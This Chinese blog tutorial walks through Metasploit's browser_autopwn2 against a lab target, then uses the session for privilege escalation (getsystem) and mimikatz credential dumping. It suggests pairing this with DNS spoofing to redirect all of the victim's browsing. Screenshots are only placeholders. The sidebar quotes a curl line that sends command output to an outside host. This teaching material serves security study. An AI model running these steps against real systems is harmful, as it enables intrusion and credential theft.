发布于   更新于 msf 热度 0 喜欢 0

msf浏览器自动攻击

首先查看数据库状态 ，并启动数据库

1
2
/etc/init.d/postgresql status
/etc/init.d/postgresql start

QQ截图20190408205140

打开msf:

1
msfconsole

搜索我们需要的浏览器服务，并启动

1
2
3
4
search  autopwn
use auxiliary/server/browser_autopwn2
show options
run

QQ截图20190408205822

QQ截图20190408210005

启动之后我们会获取一个msf自动分配的网址：

QQ截图20190408210354

然后我们使用我们的靶机访问下个地址：

QQ截图20190408210536

我们机子就可以监听到靶机了如图,输入如下的代码，记忆可以看到我们这个链接了,

QQ截图20190408210354

1
sessions -l

进入这个服务

1
sessions -i  1

QQ截图20190408211535

然后输入,就可以看靶机的信息了

1
sysinfo

QQ截图20190408211535

然后输入

1
2
3
4
5
getuid
getsystem
getuid
load mimikatz
help

QQ截图20190408211606

然后看command,选择命令就可以查看对应的信息系了

比如：

1
msv

QQ截图20190408211645

注释:这里我们可添加一个DNS欺骗，打开的我们的apt服务，在www目录下创建一个网页 把我们生成网站地址写进去，然就如我们之前博客所发的一样进行DNS欺骗（前面博客有），无论靶机访问那个网址都会转到我们的设置的浏览器攻击上来kni6t686

相关文章
评论
分享
返回顶部
  • DNS欺骗

    三月 31日, 2019

    实战DNS欺骗 DNS（Domain Name System，域名系统）欺骗：DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 原理：如果可以冒充域名服务器，然后把查询的IP地址设为攻击者的IP地址，这样的话，用户上网就只能看到攻...

    DNS欺骗
  • 利用msf生成木马入侵电脑

    三月 17日, 2019

    介绍：Metasploit (MSF)综合利用工具，集成上千种漏洞利用方式，操作简单易上手。Kali自带的，依赖于postgresql数据库 [ ] 利用msf生成木马 [ ] 投放木马至目标机 [ ] 监听 [ ] 控制，...

    利用msf生成木马入侵电脑
  • SSRF原理、操作演示及防御

    五月 16日, 2019

    SSRF漏洞：SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF访问的目标是从外网无法访问的内部系统。（正是因为它是由服...

    SSRF原理、操作演示及防御
  • CSRF原理及演示

    五月 9日, 2019

    CSRF(Crosss Site Request Forgery，跨站请求伪造)是一种网络攻击方式，也被产称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF. CSRF漏洞是因...

    CSRF原理及演示
  • XSS的payload构造及变形

    五月 8日, 2019

    通常进行XSS脚本攻击时，一般网站都是有防护措施的，比如过滤掉我们script，javascript,或者长度限制等等，这时需要我们对我们的脚本进 行简单的变形，打到我们的目的，下面是我对常见的一些变形的分类，以及部分操作演示1.使用...

    XSS的payload构造及变形
  • XSS漏洞利用和beef使用

    五月 7日, 2019

    安装好的kail XSS漏洞环境（这里我用的是bWAPP，百度安装即可） 首先打开我们的kail,打开我们的beef工具： q切换到/usr/share/beef-xss或者输入如下代码启动： 1./beef 然后登陆...

    XSS漏洞利用和beef使用
  • 存储型xss-H5页面截取

    五月 6日, 2019

    环境准备 一个有XSS漏洞的页面，或者搭建一个漏洞平台 注册一个线上的XSS漏洞测试平台（有能力可以自己搭） 1.首先我们需要搭建一个本地的漏洞测试平台，这里我用的事pikachu漏洞平台（https://github.com/...

    存储型xss-H5页面截取
  • 一句话木马及变形

    四月 28日, 2019

    一句话木马变形 介绍：网站后门，也可以叫做WebShell，黑客在入侵了一个网站后，通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件混在一起，使得可以通过使用浏览器来访问这些asp或者php 文件，从而得到一个命...

    一句话木马及变形
  • 文件包含漏洞和PHP伪协议

    四月 28日, 2019

    文件包含的漏洞形成文件包含就是代码注入的典型代表，PHP的文件包含可以直接执行包含文件的代码，而且包含文件的格式是不受限制的，因此如果我们在包含文件中输入恶意代码，就会导致文件包含漏洞，文件包含漏洞大多可以直接利用获取webshel...

    文件包含漏洞和PHP伪协议
  • DNSLOG在盲注中的使用

    四月 15日, 2019

    DNSLOG在盲注中的使用0x00 Command Execution i. *nix:12curl http://ip.port.b182oj.ceye.io/`whoami`ping `whoami`.ip.port.b182oj...

    DNSLOG在盲注中的使用
Please check the comment setting in config.yml of hexo-theme-Annie!
ESC